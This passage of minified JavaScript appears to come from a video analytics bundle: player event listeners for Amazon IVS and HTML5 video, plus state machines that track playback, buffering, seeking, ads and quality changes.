n.prototype.startMonitoring=function(n){this.startMonitoringIVSPlayer(n);this.startMonitoringHTMLVideoElement(n.getHTMLVideoElement())},n.prototype.startMonitoringHTMLVideoElement=function(n){n.addEventListener("play",this.eventHandler.onPlay.bind(this.eventHandler));n.addEventListener("playing",this.eventHandler.onPlaying.bind(this.eventHandler));n.addEventListener("pause",this.eventHandler.onPause.bind(this.eventHandler));n.addEventListener("seeking",this.eventHandler.onSeek.bind(this.eventHandler));n.addEventListener("seeked",this.eventHandler.onSeeked.bind(this.eventHandler))},n.prototype.startMonitoringIVSPlayer=function(n){n.addEventListener(t.IVS_PLAYER_EVENT.REBUFFERING,this.eventHandler.onRebuffering.bind(this.eventHandler));n.addEventListener(t.IVS_PLAYER_EVENT.DURATION_CHANGED,this.eventHandler.onDurationChanged.bind(this.eventHandler));n.addEventListener(t.IVS_PLAYER_EVENT.ERROR,this.eventHandler.onError.bind(this.eventHandler));n.addEventListener(t.IVS_PLAYER_EVENT.INITIALIZED,this.eventHandler.onInitialized.bind(this.eventHandler));n.addEventListener(t.IVS_PLAYER_EVENT.QUALITY_CHANGED,this.eventHandler.onQualityChanged.bind(this.eventHandler));n.addEventListener(t.IVS_PLAYER_EVENT.TIME_UPDATE,this.eventHandler.onTimeUpdate.bind(this.eventHandler))},n.create=function(t,i,u){return new n(r.AmazonIVSPlayerEventHandler.create(t,i,u))},n}();t.AmazonIVSPlayerEventListener=u},8584:function(n,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0});t.SourceUrlProvider=void 0;t.SourceUrlProvider=function(){}},1976:function(n,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var i,r="RELEASE",f=function(){function n(){var n;this.observer=((n={})[r]=[],n)}return n.prototype.subscribe=function(n,t){this.observer[n].push(t)},n.prototype.trigger=function(n){this.observer[n].forEach(function(n){n()})},n}(),u=new f,e={RELEASE:(i=r,{subscribe:function(n){u.subscribe(i,n)},trigger:function(){u.trigger(i)}})};t.default=e},4163:function(n,t,i){"use strict";var r,u,f,e;Object.defineProperty(t,"__esModule",{value:!0});t.WindowEventListener=void 0;u=i(4057);f=i(1976);!function(n){n[n.IDLE=0]="IDLE";n[n.UNLOADED=1]="UNLOADED"}(r||(r={}));e=function(){function n(n,t,i){var e=this;this.windowEventTracker=n;this.dispatcher=t;this.playerContext=i;this.state=r.IDLE;this.onPageUnload=function(){e.state==r.IDLE&&(e.dispatcher.eventCallback(u.Event.UNLOAD,{currentTime:e.playerContext.position}),e.state=r.UNLOADED,f.default.RELEASE.trigger())}}return n.prototype.startMonitoring=function(){this.windowEventTracker.addEventListener("beforeunload",this.onPageUnload);this.windowEventTracker.addEventListener("unload",this.onPageUnload)},n}();t.WindowEventListener=e},6009:function(n,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var i=function(){function n(n){this.videoElement=n;this.previousTotalDroppedFrames=0}return n.prototype.getDroppedFrames=function(){if(null==this.videoElement)return 0;var n=this.videoElement.getVideoPlaybackQuality().droppedVideoFrames,t=n-this.previousTotalDroppedFrames;return this.previousTotalDroppedFrames=n,t},n.prototype.reset=function(){this.previousTotalDroppedFrames=0},n}();t.default=i},4984:function(n,t,i){"use strict";var u=this&&this.__assign||function(){return u=Object.assign||function(n){for(var r,i,t=1,u=arguments.length;t<u;t++)for(i in r=arguments[t])Object.prototype.hasOwnProperty.call(r,i)&&(n[i]=r[i]);return n},u.apply(this,arguments)};Object.defineProperty(t,"__esModule",{value:!0});t.AnalyticsStateMachine=void 0;var h=i(6087),r=i(4057),f=i(8829),e=i(4960),o=i(1700),s=[3e3,5e3,1e4,3e4,59700],c=function(){function n(n,t){this.stateMachineCallbacks=n;this.onEnterStateTimestamp=0;this.videoStartupTimeoutMs=e.ANALYTICS_VIDEOSTART_TIMEOUT;this.rebufferTimeoutMs=e.ANALYTICS_REBUFFER_TIMEOUT;this.currentRebufferingIntervalIndex=0;this.stateMachine=this.createStateMachine(t)}return Object.defineProperty(n.prototype,"currentState",{get:function(){return this.stateMachine.current},enumerable:!1,configurable:!0}),n.prototype.resetIntervals=function(){this.clearVideoStartTimeout();this.clearRebufferingTimeoutHandle(!0);this.clearRebufferingHeartbeatHandle()},n.prototype.startRebufferingHeartbeatInterval=function(n){var t=this;void 0===n&&(n=!0);this.resetRebufferingHelpers(n);this.startRebufferingTimeoutHandle();this.rebufferingHeartbeatIntervalHandle=window.setInterval(function(){if("rebuffering"===t.stateMachine.current.toLowerCase()){var n=(new Date).getTime(),i=n-t.onEnterStateTimestamp;t.stateMachineCallbacks.heartbeat(i,t.stateMachine.current.toLowerCase(),{buffered:i});t.onEnterStateTimestamp=n;t.currentRebufferingIntervalIndex=Math.min(t.currentRebufferingIntervalIndex+1,s.length-1);t.startRebufferingHeartbeatInterval(!1)}else t.resetRebufferingHelpers()},s[this.currentRebufferingIntervalIndex])},n.prototype.resetRebufferingHelpers=function(n){void 0===n&&(n=!0);n&&(this.currentRebufferingIntervalIndex=0);this.clearRebufferingHeartbeatHandle();this.clearRebufferingTimeoutHandle(n)},n.prototype.clearRebufferingHeartbeatHandle=function(){null!=this.rebufferingHeartbeatIntervalHandle&&(window.clearInterval(this.rebufferingHeartbeatIntervalHandle),this.rebufferingHeartbeatIntervalHandle=void 0)},n.prototype.startRebufferingTimeoutHandle=function(){var n=this;this.currentRebufferingIntervalIndex>0||(this.rebufferingTimeoutHandle=window.setTimeout(function(){n.callEvent(r.Event.ERROR,u(u({},h.ErrorCode.BUFFERING_TIMEOUT_REACHED),{data:{additionalData:"StateMachine timed out after ".concat(n.rebufferTimeoutMs," ms of consecutive buffering.")}}),o.getCurrentTimestamp());n.stateMachineCallbacks.release()},this.rebufferTimeoutMs))},n.prototype.clearRebufferingTimeoutHandle=function(n){n&&null!=this.rebufferingTimeoutHandle&&(window.clearTimeout(this.rebufferingTimeoutHandle),this.rebufferingTimeoutHandle=void 0)},n.prototype.getVideoStartupFailedEventData=function(n,t){return{currentTime:n,reason:this.getReasonForVideoStartFailure(t)}},n.prototype.getReasonForVideoStartFailure=function(n){switch(n){case r.Event.ERROR:return f.VideoStartFailedReason.PLAYER_ERROR;case r.Event.UNLOAD:return f.VideoStartFailedReason.PAGE_CLOSED;case r.Event.VIDEOSTART_TIMEOUT:return f.VideoStartFailedReason.TIMEOUT;default:return f.VideoStartFailedReason.UNKNOWN}},n.prototype.setVideoStartTimeout=function(){var n=this;null!=this.videoStartTimeout&&this.clearVideoStartTimeout();this.videoStartTimeout=window.setTimeout(function(){n.callEvent(r.Event.VIDEOSTART_TIMEOUT,{},o.getCurrentTimestamp());n.stateMachineCallbacks.release()},this.videoStartupTimeoutMs)},n.prototype.clearVideoStartTimeout=function(){window.clearTimeout(this.videoStartTimeout);this.videoStartTimeout=void 0},n}();t.AnalyticsStateMachine=c},3464:function(n,t,i){"use strict";var e,h=this&&this.__extends||(e=function(n,t){return e=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(n,t){n.__proto__=t}||function(n,t){for(var i in t)Object.prototype.hasOwnProperty.call(t,i)&&(n[i]=t[i])},e(n,t)},function(n,t){function i(){this.constructor=n}if("function"!=typeof t&&null!==t)throw new TypeError("Class extends value "+String(t)+" is not a constructor or null");e(n,t);n.prototype=null===t?Object.create(t):(i.prototype=t.prototype,new i)}),s;Object.defineProperty(t,"__esModule",{value:!0});t.Bitmovin8AnalyticsStateMachine=void 0;var r,c=i(9363),u=i(4057),l=i(6692),f=i(6767),o=i(1700),a=i(4984);!function(n){n.SETUP="SETUP";n.STARTUP="STARTUP";n.READY="READY";n.PLAYING="PLAYING";n.REBUFFERING="REBUFFERING";n.PAUSE="PAUSE";n.QUALITYCHANGE="QUALITYCHANGE";n.PLAY_SEEKING="PLAY_SEEKING";n.END_PLAY_SEEKING="END_PLAY_SEEKING";n.QUALITYCHANGE_PAUSE="QUALITYCHANGE_PAUSE";n.QUALITYCHANGE_REBUFFERING="QUALITYCHANGE_REBUFFERING";n.END="END";n.ERROR="ERROR";n.AD_STARTUP="AD_STARTUP";n.AD_READY="AD_READY";n.AD_PAUSE="AD_PAUSE";n.AD_PLAYING="AD_PLAYING";n.MUTING_READY="MUTING_READY";n.MUTING_PLAY="MUTING_PLAY";n.MUTING_PAUSE="MUTING_PAUSE";n.CASTING="CASTING";n.SOURCE_CHANGING="SOURCE_CHANGING";n.INITIAL_SOURCE_CHANGE="INITIAL_SOURCE_CHANGE";n.SOURCE_LOADED="SOURCE_LOADED";n.SUBTITLE_CHANGING="SUBTITLE_CHANGING";n.AUDIOTRACK_CHANGING="AUDIOTRACK_CHANGING";n.EXIT_BEFORE_VIDEOSTART="EXIT_BEFORE_VIDEOSTART";n.CUSTOMDATACHANGE="CUSTOMDATACHANGE"}(r||(r={}));s=function(n){function t(t,i){var r=n.call(this,t,i)||this;return r.debuggingStates=[],r.enabledDebugging=!1,r.sourceChange=function(n,t,i){r.callEvent(u.Event.MANUAL_SOURCE_CHANGE,{config:n,currentTime:i},t)},r.seekTimestamp=0,r.seekedTimestamp=0,r.seekStarted=!1,r.seekEnded=!1,r}return h(t,n),t.prototype.getAllStatesBut=function(n){return this.getAllStates().filter(function(t){return n.indexOf(t)<0})},t.prototype.getAllStates=function(){return Object.keys(r).map(function(n){return r[n]})},t.prototype.createStateMachine=function(n){var t=this;return c.create({initial:r.SETUP,error:function(n,t,i,r,u,e){f.logger.error("Error in statemachine: "+e)},events:[{name:u.Event.SOURCE_LOADED,from:[r.SETUP,r.ERROR,r.SOURCE_CHANGING,r.INITIAL_SOURCE_CHANGE],to:r.READY},{name:u.Event.PLAY,from:r.READY,to:r.STARTUP},{name:u.Event.PLAYING,from:r.READY,to:r.PLAYING},{name:u.Event.READY,from:r.READY,to:r.READY},{name:u.Event.VIDEO_CHANGE,from:r.READY,to:r.READY},{name:u.Event.AUDIO_CHANGE,from:r.READY,to:r.READY},{name:u.Event.ERROR,from:[r.STARTUP,r.AD_STARTUP],to:r.EXIT_BEFORE_VIDEOSTART},{name:u.Event.UNLOAD,from:[r.STARTUP,r.AD_STARTUP],to:r.EXIT_BEFORE_VIDEOSTART},{name:u.Event.VIDEOSTART_TIMEOUT,from:r.STARTUP,to:r.EXIT_BEFORE_VIDEOSTART},{name:u.Event.PLAY,from:r.STARTUP,to:r.STARTUP},{name:u.Event.PLAYING,from:r.STARTUP,to:r.STARTUP},{name:u.Event.TIMECHANGED,from:r.STARTUP,to:r.PLAYING},{name:u.Event.START_BUFFERING,from:r.STARTUP,to:r.STARTUP},{name:u.Event.END_BUFFERING,from:r.STARTUP,to:r.STARTUP},{name:u.Event.VIDEO_CHANGE,from:r.STARTUP,to:r.STARTUP},{name:u.Event.AUDIO_CHANGE,from:r.STARTUP,to:r.STARTUP},{name:u.Event.READY,from:r.STARTUP,to:r.STARTUP},{name:u.Event.PAUSE,from:r.STARTUP,to:r.READY},{name:u.Event.PLAYING,from:r.PLAYING,to:r.PLAYING},{name:u.Event.TIMECHANGED,from:r.PLAYING,to:r.PLAYING},{name:u.Event.END_BUFFERING,from:r.PLAYING,to:r.PLAYING},{name:u.Event.START_BUFFERING,from:r.PLAYING,to:r.REBUFFERING},{name:u.Event.END_BUFFERING,from:r.REBUFFERING,to:r.PLAYING},{name:u.Event.TIMECHANGED,from:r.REBUFFERING,to:r.REBUFFERING},{name:u.Event.PAUSE,from:r.PLAYING,to:r.PAUSE},{name:u.Event.PAUSE,from:r.REBUFFERING,to:r.PAUSE},{name:u.Event.PLAY,from:r.PAUSE,to:r.PLAYING},{name:u.Event.VIDEO_CHANGE,from:r.PLAYING,to:r.QUALITYCHANGE},{name:u.Event.AUDIO_CHANGE,from:r.PLAYING,to:r.QUALITYCHANGE},{name:u.Event.VIDEO_CHANGE,from:r.QUALITYCHANGE,to:r.QUALITYCHANGE},{name:u.Event.AUDIO_CHANGE,from:r.QUALITYCHANGE,to:r.QUALITYCHANGE},{name:"FINISH_QUALITYCHANGE",from:r.QUALITYCHANGE,to:r.PLAYING},{name:u.Event.VIDEO_CHANGE,from:r.PAUSE,to:r.QUALITYCHANGE_PAUSE},{name:u.Event.AUDIO_CHANGE,from:r.PAUSE,to:r.QUALITYCHANGE_PAUSE},{name:u.Event.VIDEO_CHANGE,from:r.QUALITYCHANGE_PAUSE,to:r.QUALITYCHANGE_PAUSE},{name:u.Event.AUDIO_CHANGE,from:r.QUALITYCHANGE_PAUSE,to:r.QUALITYCHANGE_PAUSE},{name:"FINISH_QUALITYCHANGE_PAUSE",from:r.QUALITYCHANGE_PAUSE,to:r.PAUSE},{name:u.Event.SEEK,from:r.PLAYING,to:r.PLAY_SEEKING},{name:u.Event.PLAY,from:r.PLAY_SEEKING,to:r.END_PLAY_SEEKING},{name:u.Event.PLAYING,from:r.PLAY_SEEKING,to:r.END_PLAY_SEEKING},{name:u.Event.SEEKED,from:r.PLAY_SEEKING,to:r.END_PLAY_SEEKING},{name:u.Event.SEEK,from:r.END_PLAY_SEEKING,to:r.PLAY_SEEKING},{name:u.Event.PLAYING,from:r.END_PLAY_SEEKING,to:r.PLAYING},{name:u.Event.TIMECHANGED,from:r.END_PLAY_SEEKING,to:r.PLAYING},{name:u.Event.SEEK,from:r.PLAY_SEEKING,to:r.PLAY_SEEKING},{name:u.Event.AUDIO_CHANGE,from:r.PLAY_SEEKING,to:r.PLAY_SEEKING},{name:u.Event.VIDEO_CHANGE,from:r.PLAY_SEEKING,to:r.PLAY_SEEKING},{name:u.Event.START_BUFFERING,from:r.PLAY_SEEKING,to:r.PLAY_SEEKING},{name:u.Event.END_BUFFERING,from:r.PLAY_SEEKING,to:r.PLAY_SEEKING},{name:u.Event.START_BUFFERING,from:r.END_PLAY_SEEKING,to:r.END_PLAY_SEEKING},{name:u.Event.END_BUFFERING,from:r.END_PLAY_SEEKING,to:r.END_PLAY_SEEKING},{name:u.Event.SEEKED,from:r.END_PLAY_SEEKING,to:r.END_PLAY_SEEKING},{name:u.Event.PLAY,from:r.END_PLAY_SEEKING,to:r.END_PLAY_SEEKING},{name:u.Event.SEEK,from:r.PAUSE,to:r.PAUSE},{name:u.Event.SEEKED,from:r.PAUSE,to:r.PAUSE},{name:u.Event.SEEKED,from:r.PLAYING,to:r.PLAYING},{name:u.Event.END,from:r.PLAY_SEEKING,to:r.END},{name:u.Event.END,from:r.PLAYING,to:r.END},{name:u.Event.END,from:r.PAUSE,to:r.END},{name:u.Event.SEEK,from:r.END,to:r.END},{name:u.Event.SEEKED,from:r.END,to:r.END},{name:u.Event.TIMECHANGED,from:r.END,to:r.END},{name:u.Event.END_BUFFERING,from:r.END,to:r.END},{name:u.Event.START_BUFFERING,from:r.END,to:r.END},{name:u.Event.END,from:r.END,to:r.END},{name:u.Event.PLAY,from:r.END,to:r.STARTUP},{name:u.Event.ERROR,from:this.getAllStatesBut([r.STARTUP]),to:r.ERROR},{name:u.Event.UNLOAD,from:this.getAllStatesBut([r.STARTUP,r.AD_STARTUP]),to:r.END},{name:u.Event.CUSTOM_DATA_CHANGE,from:[r.PLAYING,r.PAUSE],to:r.CUSTOMDATACHANGE},{name:u.Event.PLAYING,from:r.CUSTOMDATACHANGE,to:r.PLAYING},{name:u.Event.PAUSE,from:r.CUSTOMDATACHANGE,to:r.PAUSE},{name:u.Event.SUBTITLE_CHANGE,from:r.PLAYING,to:r.SUBTITLE_CHANGING},{name:u.Event.SUBTITLE_CHANGE,from:r.PAUSE,to:r.PAUSE},{name:u.Event.SUBTITLE_CHANGE,from:r.REBUFFERING,to:r.REBUFFERING},{name:u.Event.SUBTITLE_CHANGE,from:r.END_PLAY_SEEKING,to:r.END_PLAY_SEEKING},{name:u.Event.SUBTITLE_CHANGE,from:r.SUBTITLE_CHANGING,to:r.SUBTITLE_CHANGING},{name:u.Event.TIMECHANGED,from:r.SUBTITLE_CHANGING,to:r.PLAYING},{name:u.Event.AUDIOTRACK_CHANGED,from:r.PLAYING,to:r.AUDIOTRACK_CHANGING},{name:u.Event.AUDIOTRACK_CHANGED,from:r.PAUSE,to:r.PAUSE},{name:u.Event.AUDIOTRACK_CHANGED,from:r.REBUFFERING,to:r.REBUFFERING},{name:u.Event.AUDIOTRACK_CHANGED,from:r.END_PLAY_SEEKING,to:r.END_PLAY_SEEKING},{name:u.Event.AUDIOTRACK_CHANGED,from:r.AUDIOTRACK_CHANGING,to:r.AUDIOTRACK_CHANGING},{name:u.Event.TIMECHANGED,from:r.AUDIOTRACK_CHANGING,to:r.PLAYING},{name:u.Event.START_AD,from:r.STARTUP,to:r.AD_STARTUP},{name:u.Event.END_AD,from:r.AD_STARTUP,to:r.STARTUP},{name:u.Event.PLAY,from:r.AD_STARTUP,to:r.AD_STARTUP},{name:u.Event.PAUSE,from:r.AD_STARTUP,to:r.AD_STARTUP},{name:u.Event.START_AD,from:r.READY,to:r.AD_READY},{name:u.Event.END_AD,from:r.AD_READY,to:r.STARTUP},{name:u.Event.PLAY,from:r.AD_READY,to:r.AD_READY},{name:u.Event.PAUSE,from:r.AD_READY,to:r.AD_READY},{name:u.Event.START_AD,from:r.PAUSE,to:r.AD_PAUSE},{name:u.Event.END_AD,from:r.AD_PAUSE,to:r.PAUSE},{name:u.Event.PLAY,from:r.AD_PAUSE,to:r.AD_PAUSE},{name:u.Event.PAUSE,from:r.AD_PAUSE,to:r.AD_PAUSE},{name:u.Event.START_AD,from:r.PLAYING,to:r.AD_PLAYING},{name:u.Event.END_AD,from:r.AD_PLAYING,to:r.PLAYING},{name:u.Event.PLAY,from:r.AD_PLAYING,to:r.AD_PLAYING},{name:u.Event.PAUSE,from:r.AD_PLAYING,to:r.AD_PLAYING},{name:u.Event.END,from:r.AD_PLAYING,to:r.END},{name:u.Event.TIMECHANGED,from:r.AD_STARTUP,to:r.AD_STARTUP},{name:u.Event.TIMECHANGED,from:r.AD_READY,to:r.AD_READY},{name:u.Event.TIMECHANGED,from:r.AD_PAUSE,to:r.AD_PAUSE},{name:u.Event.TIMECHANGED,from:r.AD_PLAYING,to:r.AD_PLAYING},{name:u.Event.END_AD,from:r.PLAYING,to:r.PLAYING},{name:u.Event.END_AD,from:r.PAUSE,to:r.PAUSE},{name:u.Event.END_AD,from:r.READY,to:r.READY},{name:u.Event.END_AD,from:r.STARTUP,to:r.STARTUP},{name:u.Event.MUTE,from:r.READY,to:r.MUTING_READY},{name:u.Event.UN_MUTE,from:r.READY,to:r.MUTING_READY},{name:"FINISH_MUTING",from:r.MUTING_READY,to:r.READY},{name:u.Event.MUTE,from:r.PLAYING,to:r.MUTING_PLAY},{name:u.Event.UN_MUTE,from:r.PLAYING,to:r.MUTING_PLAY},{name:"FINISH_MUTING",from:r.MUTING_PLAY,to:r.PLAYING},{name:u.Event.MUTE,from:r.PAUSE,to:r.MUTING_PAUSE},{name:u.Event.UN_MUTE,from:r.PAUSE,to:r.MUTING_PAUSE},{name:"FINISH_MUTING",from:r.MUTING_PAUSE,to:r.PAUSE},{name:u.Event.START_CAST,from:[r.READY,r.PAUSE,r.PLAYING],to:r.CASTING},{name:u.Event.PAUSE,from:r.CASTING,to:r.CASTING},{name:u.Event.PLAY,from:r.CASTING,to:r.CASTING},{name:u.Event.PLAYING,from:r.CASTING,to:r.CASTING},{name:u.Event.TIMECHANGED,from:r.CASTING,to:r.CASTING},{name:u.Event.MUTE,from:r.CASTING,to:r.CASTING},{name:u.Event.UN_MUTE,from:r.CASTING,to:r.CASTING},{name:u.Event.SEEK,from:r.CASTING,to:r.CASTING},{name:u.Event.SEEKED,from:r.CASTING,to:r.CASTING},{name:u.Event.END_CAST,from:r.CASTING,to:r.READY},{name:u.Event.SEEK,from:r.READY,to:r.READY},{name:u.Event.SEEKED,from:r.READY,to:r.READY},{name:u.Event.SEEKED,from:r.STARTUP,to:r.STARTUP},{name:u.Event.MANUAL_SOURCE_CHANGE,from:this.getAllStatesBut([r.SETUP]),to:r.SOURCE_CHANGING},{name:u.Event.MANUAL_SOURCE_CHANGE,from:r.SETUP,to:r.INITIAL_SOURCE_CHANGE},{name:u.Event.SOURCE_UNLOADED,from:this.getAllStates(),to:r.SOURCE_CHANGING},{name:u.Event.VIDEO_CHANGE,from:r.REBUFFERING,to:r.QUALITYCHANGE_REBUFFERING},{name:u.Event.AUDIO_CHANGE,from:r.REBUFFERING,to:r.QUALITYCHANGE_REBUFFERING},{name:u.Event.VIDEO_CHANGE,from:r.QUALITYCHANGE_REBUFFERING,to:r.QUALITYCHANGE_REBUFFERING},{name:u.Event.AUDIO_CHANGE,from:r.QUALITYCHANGE_REBUFFERING,to:r.QUALITYCHANGE_REBUFFERING},{name:"FINISH_QUALITYCHANGE_REBUFFERING",from:r.QUALITYCHANGE_REBUFFERING,to:r.REBUFFERING}],callbacks:{onbeforeevent:function(n,t,i){if(t===r.REBUFFERING&&i===r.QUALITYCHANGE_REBUFFERING)return!1},onafterevent:function(n,i,f,e,o){n===u.Event.MANUAL_SOURCE_CHANGE&&i===r.SETUP?t.stateMachineCallbacks.initialSourceChange(o):n===u.Event.MANUAL_SOURCE_CHANGE&&t.stateMachineCallbacks.manualSourceChange(o);f===r.QUALITYCHANGE_PAUSE&&t.stateMachine.FINISH_QUALITYCHANGE_PAUSE(e);f===r.QUALITYCHANGE&&t.stateMachine.FINISH_QUALITYCHANGE(e);f===r.QUALITYCHANGE_REBUFFERING&&t.stateMachine.FINISH_QUALITYCHANGE_REBUFFERING(e);f!==r.MUTING_READY&&f!==r.MUTING_PLAY&&f!==r.MUTING_PAUSE||t.stateMachine.FINISH_MUTING(e)},onenterstate:function(i,e,o,s,h){t.onEnterStateTimestamp="none"===e&&n.starttime?n.starttime:s||(new Date).getTime();f.logger.log("[ENTER ".concat(s,"] ").concat(f.padRight(o,20)," EVENT: ").concat(f.padRight(i,20)," from: ").concat(f.padRight(e,14)));!h||o===r.END_PLAY_SEEKING||e===r.PLAY_SEEKING||e===r.AD_STARTUP||e===r.AD_READY||e===r.AD_PLAYING||e===r.AD_PAUSE||i===u.Event.SEEK&&e===r.END_PLAY_SEEKING||t.stateMachineCallbacks.setVideoTimeStartFromEvent(h);i===u.Event.START_CAST&&o===r.CASTING&&t.stateMachineCallbacks.startCasting(s,h);o===r.REBUFFERING&&t.startRebufferingHeartbeatInterval()},onleavestate:function(n,i,e,s,h){var l,c,v,y,p,a;if(i===r.REBUFFERING&&t.resetRebufferingHelpers(),s){if(f.logger.log("[LEAVE ".concat(s,"] ").concat(f.padRight(i,20)," EVENT: ").concat(f.padRight(n,20)," to: ").concat(f.padRight(e,20))),t.addStatesToLog(n,i,e,s,h),l=s-t.onEnterStateTimestamp,h&&e!==r.END_PLAY_SEEKING&&t.stateMachineCallbacks.setVideoTimeEndFromEvent(h),h&&n!==u.Event.END_AD&&(t.lastTrackedVideoEndObject=h),i!==r.READY&&i!==r.AD_STARTUP||e!==r.STARTUP?i!==r.STARTUP||e!==r.PLAYING&&e!==r.AD_STARTUP||t.clearVideoStartTimeout():t.setVideoStartTimeout(),c=String(i).toLowerCase(),e===r.EXIT_BEFORE_VIDEOSTART)t.clearVideoStartTimeout(),v=t.getVideoStartupFailedEventData(s,n,h),y=n!==u.Event.ERROR,t.stateMachineCallbacks.videoStartFailed(v,y);else if(i===r.END_PLAY_SEEKING)p=t.seekedTimestamp-t.seekTimestamp,t.seekStarted&&t.seekEnded&&n!==u.Event.SEEK&&(t.seekStarted=t.seekEnded=!1,t.stateMachineCallbacks.end_play_seeking(p,c));else if(n===u.Event.UNLOAD)t.stateMachineCallbacks.unload(l,c);else if(i===r.AD_PAUSE||i===r.AD_READY||i===r.AD_PLAYING||i===r.AD_STARTUP)t.stateMachineCallbacks.setVideoTimeStartFromEvent(t.lastTrackedVideoEndObject),t.stateMachineCallbacks.setVideoTimeEndFromEvent(t.lastTrackedVideoEndObject),t.stateMachineCallbacks.ad(l,"ad");else if(n===u.Event.START_AD&&i===r.STARTUP)o.noOp();else if(n===u.Event.SOURCE_LOADED&&i===r.INITIAL_SOURCE_CHANGE)o.noOp();else if(i===r.SETUP)t.stateMachineCallbacks.setup(1,r.SETUP.toLowerCase());else if(n===u.Event.PAUSE&&i===r.STARTUP&&e===r.READY)t.clearVideoStartTimeout();else if(i!==r.ERROR)if(a=t.stateMachineCallbacks[c],"function"==typeof a)try{a(l,c,h)}catch(n){f.logger.error("Exception occured in State Machine callback "+c,h,n)}else f.logger.error("Could not find callback function for "+c);h&&e!==r.END_PLAY_SEEKING&&i!==r.PLAY_SEEKING&&e!==r.PLAY_SEEKING&&i!==r.AD_STARTUP&&i!==r.AD_READY&&i!==r.AD_PLAYING&&i!==r.AD_PAUSE&&t.stateMachineCallbacks.setVideoTimeStartFromEvent(h);n===u.Event.VIDEO_CHANGE?t.stateMachineCallbacks.videoChange(h):n===u.Event.AUDIO_CHANGE?t.stateMachineCallbacks.audioChange(h):n===u.Event.MUTE?t.stateMachineCallbacks.mute():n===u.Event.UN_MUTE&&t.stateMachineCallbacks.unMute()}},onseek:function(n,i,r,u){t.seekStarted||(t.seekTimestamp=u,t.seekStarted=!0)},onseeked:function(n,i,r,u){t.seekedTimestamp=u;t.seekEnded=!0},ontimechanged:function(n,i,r,u,f){if("PLAYING"===t.stateMachine.current){var e=u-t.onEnterStateTimestamp;e>59700&&(t.stateMachineCallbacks.setVideoTimeEndFromEvent(f),t.stateMachineCallbacks.heartbeat(e,String(i).toLowerCase(),{played:e}),t.onEnterStateTimestamp=u,t.stateMachineCallbacks.setVideoTimeStartFromEvent(f))}},onplayerError:function(n,i,r,u,f){t.stateMachineCallbacks.error(f)}}})},t.prototype.callEvent=function(n,t,i){var r=this.stateMachine[n];if(r)try{r.call(this.stateMachine,i,t)}catch(i){f.logger.error("Exception occured in State Machine callback "+n,r,t,i)}else f.logger.log("Ignored Event: "+n)},t.prototype.addStatesToLog=function(n,t,i,r,u){this.enabledDebugging&&this.debuggingStates.push(new l.EventDebugging(n,t,i,r,u))},t.prototype.getStates=function(){return this.debuggingStates},t.prototype.setEnabledDebugging=function(n){this.enabledDebugging=n},t}(a.AnalyticsStateMachine);t.Bitmovin8AnalyticsStateMachine=s},3395:function(n,t,i){"use strict";var e,h=this&&this.__extends||(e=function(n,t){return e=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(n,t){n.__proto__=t}||function(n,t){for(var i in t)Object.prototype.hasOwnProperty.call(t,i)&&(n[i]=t[i])},e(n,t)},function(n,t){function i(){this.constructor=n}if("function"!=typeof t&&null!==t)throw new TypeError("Class extends value "+String(t)+" is not a constructor or null");e(n,t);n.prototype=null===t?Object.create(t):(i.prototype=t.prototype,new i)}),o=this&&this.__spreadArray||function(n,t,i){if(i||2===arguments.length)for(var u,r=0,f=t.length;r<f;r++)!u&&r in t||(u||(u=Array.prototype.slice.call(t,0,r)),u[r]=t[r]);return n.concat(u||Array.prototype.slice.call(t))},s;Object.defineProperty(t,"__esModule",{value:!0});t.HTML5AnalyticsStateMachine=void 0;var r,c=i(9363),u=i(4057),f=i(6767),l=i(1700),a=i(4984);!function(n){n.INITIALIZED="INITIALIZED";n.SETUP="SETUP";n.STARTUP="STARTUP";n.READY="READY";n.PLAYING="PLAYING";n.REBUFFERING="REBUFFERING";n.PAUSE="PAUSE";n.QUALITYCHANGE="QUALITYCHANGE";n.PAUSED_SEEKING="PAUSED_SEEKING";n.QUALITYCHANGE_PAUSE="QUALITYCHANGE_PAUSE";n.QUALITYCHANGE_REBUFFERING="QUALITYCHANGE_REBUFFERING";n.END="END";n.ERROR="ERROR";n.AD="AD";n.SOURCE_CHANGING="SOURCE_CHANGING";n.MUTING_READY="MUTING_READY";n.MUTING_PLAY="MUTING_PLAY";n.MUTING_PAUSE="MUTING_PAUSE";n.CASTING="CASTING";n.SUBTITLE_CHANGING="SUBTITLE_CHANGING";n.AUDIOTRACK_CHANGING="AUDIOTRACK_CHANGING";n.EXIT_BEFORE_VIDEOSTART="EXIT_BEFORE_VIDEOSTART";n.CUSTOMDATACHANGE="CUSTOMDATACHANGE"}(r||(r={}));s=function(n){function t(t,i){var r=n.call(this,t,i)||this;return r.sourceChange=function(n,t,i){r.callEvent(u.Event.MANUAL_SOURCE_CHANGE,{config:n,currentTime:i},t)},r.seekStartedAt=null,r.createStateMachine(i),r}return h(t,n),t.prototype.getAllStates=function(){return o(o([],Object.keys(r).map(function(n){return r[n]}),!0),["FINISH_QUALITYCHANGE_PAUSE","FINISH_QUALITYCHANGE","FINISH_QUALITYCHANGE_REBUFFERING"],!1)},t.prototype.getAllStatesBut=function(n){return this.getAllStates().filter(function(t){return n.indexOf(t)<0})},t.prototype.createStateMachine=function(n){var t=this;return c.create({initial:r.INITIALIZED,error:function(n,t,i,r,u,e){f.logger.error("Error in statemachine: "+e)},events:[{name:u.Event.SETUP,from:r.INITIALIZED,to:r.SETUP},{name:u.Event.SETUP,from:r.SETUP,to:r.SETUP},{name:u.Event.TIMECHANGED,from:r.SETUP,to:r.SETUP},{name:u.Event.READY,from:[r.SETUP,r.ERROR,r.END,r.SOURCE_CHANGING],to:r.READY},{name:u.Event.READY,from:r.READY,to:r.READY},{name:u.Event.READY,from:r.STARTUP,to:r.STARTUP},{name:u.Event.PLAY,from:r.READY,to:r.STARTUP},{name:u.Event.ERROR,from:r.STARTUP,to:r.EXIT_BEFORE_VIDEOSTART},{name:u.Event.UNLOAD,from:r.STARTUP,to:r.EXIT_BEFORE_VIDEOSTART},{name:u.Event.VIDEOSTART_TIMEOUT,from:r.STARTUP,to:r.EXIT_BEFORE_VIDEOSTART},{name:u.Event.START_BUFFERING,from:r.STARTUP,to:r.STARTUP},{name:u.Event.END_BUFFERING,from:r.STARTUP,to:r.STARTUP},{name:u.Event.VIDEO_CHANGE,from:r.STARTUP,to:r.STARTUP},{name:u.Event.AUDIO_CHANGE,from:r.STARTUP